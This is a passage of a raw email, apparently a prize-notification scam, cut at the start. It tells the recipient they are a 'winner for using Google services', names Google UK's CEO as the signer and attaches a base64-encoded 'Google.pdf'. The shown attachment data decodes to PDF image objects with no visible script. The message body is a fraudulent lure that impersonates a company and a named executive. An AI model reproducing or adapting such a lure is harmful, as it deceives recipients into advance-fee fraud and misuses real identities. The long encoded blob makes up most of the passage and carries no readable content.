winner for using Google services. Find attached= email with more details. Congratulations, Matt Brittin. CEO Google UK. =20 =C2=A92013 Google Corporation ------=_Part_6020_1052872574.1380015390808 Content-Type: application/x-unknown; charset=utf-8; name=Google.pdf Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=Google.pdf JVBERi0xLjUKJeLjz9MKNiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUg L0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDM4CiAgIC9IZWlnaHQgMQog ICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5n dGggMTI1Cj4+CnN0cmVhbQp42gFyAI3/9f7t8Pzm7v7j3/7V3v/UxPC7mMyOks+KabFoZMNyXsVy WshxVcpvUshoSsJeSsNaSMFXR8NTRMVPPshOO8pKN8hFNslFL8dBILc0ILc0J7U7HqQxIKMzD4Id GHwiF3MeM381PHo5erR5hqyD1uLW7/TuUUI8fwplbmRzdHJlYW0KZW5kb2JqCjcgMCBvYmoKPDwg CiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVu dCA4CiAgIC9XaWR0aCAxCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTEKPj4Kc3RyZWFtCnjae/XjPwAFsALi CmVuZHN0cmVhbQplbmRvYmoKOCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5 cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI3CiAgIC9IZWlnaHQg MQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9M ZW5ndGggNTgKPj4Kc3RyZWFtCnjaNcoxCsAgEAXR+58yjZKg33RBWdlMWDHwiilGjpzLQh6kvhVD Rpub1tZexPJHhePhnOEmfHweThsKZW5kc3RyZWFtCmVuZG9iago5IDAgb2JqCjw8IAogICAvVHlw ZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAv V2lkdGggNgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVy IC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDI2Cj4+CnN0cmVhbQp42vvz693P769+fX/x99fr/3/e AhEApEIRSgplbmRzdHJlYW0KZW5kb2JqCjEwIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAog ICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggNDMKICAg L0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNv ZGUKICAgL0xlbmd0aCAxNDAKPj4Kc3RyZWFtCnjaAYEAfv/n/+3i/+vd/+bW/+LA/86b7KqT8aVg zHZgzndFvF5IxmJFyGBV2nFHz2FHz2FI0GJK0GFJzltCyVNCyVE/x0s/x0k9yEc5yUU4ykUzxkEz xkEpvjwltjcotDokpDcZkCocji4NbBoVZRxaoV+Qx5CWwZS537bB2b/R2NDp6+jq6uoBB0cECmVu ZHN0cmVhbQplbmRvYmoKMTEgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBl IC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyCiAgIC9IZWlnaHQgMQog ICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5n dGggMTQKPj4Kc3RyZWFtCnjae/f9y9vv3wAT6AW0CmVuZHN0cmVhbQplbmRvYmoKMTIgMCBvYmoK PDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBv bmVudCA4CiAgIC9XaWR0aCA1NgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE2Nwo+PgpzdHJlYW0KeNolzksL wQAAB/CvzEZqK0oxw8Jhaak5kTMuKCQHedMe0cxjS2QeOcna/oz6fYCfBZwBEzD+XI/+hvr0DE0M DLRXKDbvYuMh1Kx8/ZapnKLiJibuKX5N8VowK5OcSnCSPyX7mAkRHwWYsSexINklyUqBtEImlVBO o/kdzW8jghEu7MWWU+6h1Heqc3R0dLeYWphdob1w+E2O35iLK3CxYdn4AKE+hBoKZW5kc3RyZWFt CmVuZG9iagoxMyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdl CiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDQ2CiAgIC9IZWlnaHQgMQogICAvQ29s b3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTQ5 Cj4+CnN0cmVhbQp42gGKAHX/8f/t6//q4f7iuubCtuu/jseaiMuWW61tSqVfRKlZPK1VPK9UN7BR NbZRMblNNsBRO8tSOMxQPNJUO9JPQNNPO9FLPdBLO89HOs5EOc4/Nck/Nck/MMM+MMM+IbAyHKMt IKAxD34fBmwWC2oYKHMyMW03fLCCo8SlqsCpqr2prrqs3N7Z7Ozq7Ozs9IlHDAplbmRzdHJlYW0K ZW5kb2JqCjE0IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UK ICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggNjcKICAgL0hlaWdodCAxCiAgIC9Db2xv clNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAyMTIK Pj4Kc3RyZWFtCnjaAckANv/r/P/n/f/K4PfH4P+ux+99nst7n9Fvls1ultFhiMtWfsNWfsZTesVU eclUeclUeMxUeM5Vd9BMb8lMb8tMb8tMb81Lbc5KbM1Kas1KbM5KbM5Lbc9MbtJMbtBNbdBKZ8VM ZsNPaMVPZ8dQZ81QadBOadRPadhOadxQa+BSb+dRb+dUcuxScutcf/VbfvJagO1ZgOdXf+FXf99V f9VVf9FWgc9Zhcxahcldicphh8ZsiMdrhLxuhLV7jrh7jradsdbL3vzM3vbr/f/TEXYoCmVuZHN0 cmVhbQplbmRvYmoKMTUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9J bWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCA0MQogICAvSGVpZ2h0IDEKICAg L0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3Ro IDEzNAo+PgpzdHJlYW0KeNoBewCE/+366On86Nbu1tX22dP418Lqx7/sxanesJfQnZXSmXu/gnvA gWu0b3G9dWrBcHbZfh2kKxSqJRi3KRG6IxrBKxzDLR7DKx/CKSHBKx29JxayIRmwJROlHhSkIACG DQB5CQR0EABYCBprJh5oKYzAkpS5mLDJs9/p4OTm41pbPrcKZW5kc3RyZWFtCmVuZG9iagoxNiAw IG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVy Q29tcG9uZW50IDgKICAgL1dpZHRoIDgyCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2 aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMjU3Cj4+CnN0cmVhbQp4 2gH2AAn/1+XwqbrOpbnRhZy8g5vHc4/OborTa4rcY4HbYIHiV3feT3DZUG/bTWzYTG3YSGnSQmPK Q2PIP1/CQGHCQmDCRmTERmXCSWjDWnjQWnnMXn3PXn3NY4POaIjRaojObYzPbYzNcI7Ob43Lb43L bozKbIbDbIbBa4XCa4TEZ3/FXnjCXnfHVG2/U2zGSmTBQ1/DQl/HPl3JPlzMQGHUQWLWPWLXO2Lb O2PcO2PcPWfgPWfgRG7nTHbuTHfqUXztU3zmWoLaW4HWXIHSXIDUXIDWX4LWYIPVY4LVYH/SXHbK XXjJWnG9XXK1boK0mKnXmanNzNr1ztvrNvqJjgplbmRzdHJlYW0KZW5kb2JqCjE3IDAgb2JqCjw8 IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25l bnQgOAogICAvV2lkdGggMzYKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IK ICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMTkKPj4Kc3RyZWFtCnjaAWwAk//t 7vLu7fLq6Ovr6err5eXr5uPt5eLw5+Lw5+Ly5+P16ODr7tnd+M81mTYjpSsbtCgQux8TviIRvCAR vCAQuR4RuR4PtBoMqhcPqBgMnhUQnBkAeQQAagABZAcMWRFipGZmoWmix6arwazh7eEqhTtgCmVu ZHN0cmVhbQplbmRvYmoKMTggMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBl IC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCA5MgogICAvSGVpZ2h0IDEK ICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVu Z3RoIDI4Nwo+PgpzdHJlYW0KeNoBFAHr/t/2/N/2/NXt+Z241Zq333ycy2eJyGaJy2eJ02eH2mCB 3k5v0E1u1Udo0Uhn0U5t10tjxUxjwU5iu01huExit1FnulFotl1zvm6EzW6Fy4CV1oCW0oug2Yyg 04yh0I6j0I6kzZOnyJaryJarxpmtxZqvxJqvwpmuv5muv5muv5+0yZ+0yZ2xyZ2xyZmuyZitypat zZOqzJKp0oqhy3yUxHmSyG+Jwm2Kxldyt09ttk5uu0NlvDxfuT1euzpevzlcxD1izERo1kNp2Ehu 3Uhu2Ut110p11Ep11E13201321h/5l2E7V6D7VuA61l751l75lh54Ft43F5411RuxVduvF92vGJ2 sYyg0sLU+MXV7Of1/uj2+SF6px8KZW5kc3RyZWFtCmVuZG9iagoxOSAwIG9iago8PCAKICAgL1R5 cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAg L1dpZHRoIDEKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRl ciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMQo+PgpzdHJlYW0KeNp7++UPAAWuAt4KZW5kc3Ry ZWFtCmVuZG9iagoyMCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0lt YWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI0CiAgIC9IZWlnaHQgMQogICAv Q29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGgg ODMKPj4Kc3RyZWFtCnjaAUgAt//v/us9mUIrpjQiszAWuiUWvSUTvCMUuyMSuSEUuCMQtB8LqRcP phsKmhQPmBcEfQoAbQQIZwsSWxJamFlclly327e/1b7o9OaziRuGCmVuZHN0cmVhbQplbmRvYmoK MjEgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0 c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCA5OQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDMwOAo+PgpzdHJl YW0KeNoBKQHW/u32/en9/+T8/9/+/6zR/6nS/22Z2miX6WeW8mWV+VqJ81yI9Ux350525U9x3VBx 2lJy1UdlxUplvDlSolRio1hhmmhwoWlwnn6FsZGYwpOYwJ6kxqOpy6KpxqOpwaOqvaGourrAzLzB x73Eyr/Ex8XLx8zTzM3Sy9XYzdXYzdndz9vf0Nnf0dvh1dTZ09PZ1dDW1M7X1MrV0cjTz8nU0MTP ycTPybzJwq++u66+vaS2uKO2upOnsoabrIWbs3GHrGB3oGB3o1NpolJqqkpiqEdeqkRfsEJesj9e uUpt00du10Rt2Udv3kdv4Et05k126kx36kt161B77lB77leA8liA8V6E71Z741h83U9wz1FxyExo u1NtuFZts3uQ0XuQz7fL/+f6/+v7/xOcwScKZW5kc3RyZWFtCmVuZG9iagoyMiAwIG9iago8PCAK ICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50 IDgKICAgL1dpZHRoIDEKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAg L0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMQo+PgpzdHJlYW0KeNr79uM1AAXAAtoK ZW5kc3RyZWFtCmVuZG9iagoyMyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5 cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI0CiAgIC9IZWlnaHQg MQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9M ZW5ndGggODMKPj4Kc3RyZWFtCnjaAUgAt//s/u5BmkowpTwnsjUduCwcuysYuicXuycUuCQUuCQR syALqBsPph0JmRYNlRcFfg0BbgUKZwwVXRNdmVtimF673rbC2b3n+ObHpxwCCmVuZHN0cmVhbQpl bmRvYmoKMjQgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQog ICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzMwogICAvSGVpZ2h0IDEKICAgL0NvbG9y U3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDExMAo+ PgpzdHJlYW0KeNoBYwCc/9jn/tTn/6q+36a/6H2g2G+S1GqT4l6K612K71OD70p48Ep39EZy7z1l 3z5l2jZayDpavUNerV12uWB1rICTvoOTtJikvKmsu62ruL23wby3vs/K0NvZ3NvZ3OTi4+zq6+7q 6W4SQgAKZW5kc3RyZWFtCmVuZG9iagoyNSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAg L1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDQ0CiAgIC9I ZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2Rl CiAgIC9MZW5ndGggMTQzCj4+CnN0cmVhbQp42gGEAHv/9PXt7O/o6/Ds4OXo1dre09riwMfZv8fc o63Gg4yrgou0anejZnayRFqwPla2O1e7PVq+PVq+Q2PISWzSSG7TR3HVSHPZR3TZSHjeSnfeTHng THffTHffTHLdTXLcTW/bSGnUS2fURF7MQ17JPlW/O1G0QFGpW2amqLLnq7Pk5+7/6O//uFBPhwpl bmRzdHJlYW0KZW5kb2JqCjI2IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlw ZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjQKICAgL0hlaWdodCAx CiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xl bmd0aCA4Mwo+PgpzdHJlYW0KeNoBSAC3/+z+6EidTDinPjCyOCW5MSG8MBq8Kxm8KxO5JxO5JxCz IgmoGg6lHAiYFQ2VFwh+DgNtCA1nDRpdFmOdYGibY8Lkv8ngxu796twjHLQKZW5kc3RyZWFtCmVu ZG9iagoyNyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAg IC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI2CiAgIC9IZWlnaHQgMQogICAvQ29sb3JT cGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODkKPj4K c3RyZWFtCnjaAU4Asf+zyOOqyvOGqtxvltFuldhxmN1wl+RljeVLctFKcdY/ZdA/ZdBKb9o4WcI7 WL49WbpYccNacryEl9mHmM6hq8+qscurscHCxs/Dx8jj5eJJCzBfCmVuZHN0cmVhbQplbmRvYmoK MjggMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0 c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzNgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDExOQo+PgpzdHJl YW0KeNoBbACT/+jq9ufq+9zh9dnf/7jC9ZWf2pKg4WR1umN2u0dbpDtUpDlVqTlZsD5iwDxiw0Bq zEBq0DRdyTtj0jlj00Jn2kNo20Bj1z1c0T9c0jtVzDtVzDxTxzhOuzxOsFFfqi04eC44dVdfjVhh gre+2JkSOVEKZW5kc3RyZWFtCmVuZG9iagoyOSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIzCiAg IC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVj b2RlCiAgIC9MZW5ndGggNzgKPj4Kc3RyZWFtCnja+/Dvuedcd4sVFnqbjZX2aMnu1xbbqy66T51v tzIQcW+VY10hzrVUkm2GMM8UMe5aPqZsNr4UXulIibSZiVnTUo89OHz6zikAepgZjgplbmRzdHJl YW0KZW5kb2JqCjMwIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1h Z2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjYKICAgL0hlaWdodCAxCiAgIC9D b2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4 OQo+PgpzdHJlYW0KeNoBTgCx/+Pk+MPJ48DK5Xyd0nKf4m2h7F+R5mKR61B/21B+3k554VN641R5 4UZozEhpyi9MqkJbq0dboHKEwpej05ikzJ+qyqKqv7S4wdvc4N3c2qYDMWwKZW5kc3RyZWFtCmVu ZG9iagozMSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAg IC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDM0CiAgIC9IZWlnaHQgMQogICAvQ29sb3JT cGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTEzCj4+ CnN0cmVhbQp42gFmAJn/6e7/0NXyz9X5pbDdpbDefYq/V2uqVGqzP1qpO1q1OVq7QGHIP2HPPmPW PGDYPGDYNljTNlnRMlLJNFPHNVPFOFPEOVPCM0u3K0GnMECfMT2JXWiqXmilnaXUnqbLztPw5+35 6O3xlSo42wplbmRzdHJlYW0KZW5kb2JqCjMyIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAog ICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAg L0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNv ZGUKICAgL0xlbmd0aCA3OAo+PgpzdHJlYW0KeNp79feV81xXoxVmmlv15PaoSx7QEN6nJLhfiXeP PBBxbJdhXiXKuUycbYYgz1QRrjpB1mwOgRR+mTDJtGlJWVPSjj04evb2OQBsQhlTCmVuZHN0cmVh bQplbmRvYmoKMzMgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFn ZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNgogICAvSGVpZ2h0IDEKICAgL0Nv bG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDg5 Cj4+CnN0cmVhbQp42gFOALH/3O3/oLTVnLTgeJLLhKPjgaToZZXqXpT2V5D5Q3XoRnPoPGbcQGXY RGPPO1S4P1WqU2OfVGSYiJS+kpqvlZymtLi72dvY2dvW7/Hs8PHsid4x+AplbmRzdHJlYW0KZW5k b2JqCjM0IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAg L0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjYKICAgL0hlaWdodCAxCiAgIC9Db2xvclNw YWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4OQo+Pgpz dHJlYW0KeNoBTgCx/7zI4LjI7Jao1llws1hwui5InC1HqDNPvTFMwTFLwjRMxjRMxjVLwi9Ery5E pytAnSxAlzxOmlNipVdimo+XvqWqyqaqx8LE2cDG1Nvf6w3pKSMKZW5kc3RyZWFtCmVuZG9iagoz NSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRz UGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI0CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAv RGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODMKPj4Kc3RyZWFt CnjaAUgAt//n/u4+nkUrqjUkti8ZvSgXwCkTviQRviQLvSENvCEJthwFqBcKpRkHlxMNkxYLfBAD aAgNYg8aWBlommdsl2rI4snO3M/t9vG8Thw4CmVuZHN0cmVhbQplbmRvYmoKMzYgMCBvYmoKPDwg CiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVu dCA4CiAgIC9XaWR0aCAzCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTgKPj4Kc3RyZWFtCnja+/fn7b+/r//9 eQsAK8IItQplbmRzdHJlYW0KZW5kb2JqCjM3IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAog ICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjcKICAg L0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNv ZGUKICAgL0xlbmd0aCA5Mgo+PgpzdHJlYW0KeNoBUQCu/+3//9vx/9fx/5K17Xac23Gd5HKh71+S 5V+R6FyO8VyN9kJy3kJr3UZq2kNl00lkzT5TrFRls1dlooSNroaNqZacqr2/vL+/tdXVye/v5e/v 5am1NVgKZW5kc3RyZWFtCmVuZG9iagozOCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAg L1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIKICAgL0hl aWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUK ICAgL0xlbmd0aCAxNAo+PgpzdHJlYW0KeNr7/eXVz6+vABQTBbIKZW5kc3RyZWFtCmVuZG9iagoz OSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRz UGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI1CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAv RGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODYKPj4Kc3RyZWFt CnjaAUsAtP/c5ujZ5fHF1uqLnsiHnc9SaqZRaLQ+VrYvRqwwRbAtQq8vQqs3Sa8zQ5s3RJM1RIk2 RINbZZaMlbyOlbGnqbXCw8jDwsfh4ePh4eM7ViqYCmVuZHN0cmVhbQplbmRvYmoKNDAgMCBvYmoK PDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBv bmVudCA4CiAgIC9XaWR0aCAyNAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDgzCj4+CnN0cmVhbQp42gFIALf/ 6f7vPp5HK6o3I7YyGbwrF78qE70nE70nDboiD7kjC7MeCKcXDKQbB5cUDZMWCX0SAWkGC2MNGFkZ ZZxlaZlpxeLEy97L7fnvwFwcOgplbmRzdHJlYW0KZW5kb2JqCjQxIDAgb2JqCjw8IAogICAvVHlw ZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAv V2lkdGggMjYKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRl ciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4OQo+PgpzdHJlYW0KeNoBTgCx/93u/9ft/5y46pm4 8XSZ33CX4mqY5mSY7FqQ6FyP605+5FB85Txlzztgyj5ewz9dv0RctkdbpHKCvnaCsqexyqmxxLO3 wuPl5OXk3/Ly6NXFMs8KZW5kc3RyZWFtCmVuZG9iago0MiAwIG9iago8PCAKICAgL1R5cGUgL1hP YmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRo IDIxCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0Zs YXRlRGVjb2RlCiAgIC9MZW5ndGggNzQKPj4Kc3RyZWFtCnjaAT8AwP/k8v3J2vTG2vuuxPOuw/88 Uqg8Ua49UbAzRqU1RqIsPJM7SZI7SYhgbaJhbpuOmbmnssiqscHHys/h4uTi4uLTDiaFCmVuZHN0 cmVhbQplbmRvYmoKNDMgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9J bWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNAogICAvSGVpZ2h0IDEKICAg L0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3Ro IDgzCj4+CnN0cmVhbQp42gFIALf/6f7vPp5HK6o5IrUxFrwqFr4pE70nE70nDboiD7kjC7MeB6YY C6MaB5cUDJQWCX0SAWkGC2MNGFkZZZxlaZlpxeLEy97L7vjvvfscLgplbmRzdHJlYW0KZW5kb2Jq CjQ0IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0Jp dHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNl IC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4MAo+PgpzdHJl YW0KeNoBRQC6/7PE4oeh1IOh33uc4Xic5mmT52WT62KT8FWJ7DNnyjVmzDhhyj1gxkBgwztWrT1X oVJqsFVrpJCfyLC93bO+1M3T4dDU4J4CKYIKZW5kc3RyZWFtCmVuZG9iago0NSAwIG9iago8PCAK ICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50 IDgKICAgL1dpZHRoIDIKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAg L0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxNAo+PgpzdHJlYW0KeNp79ubH07c/ABNn 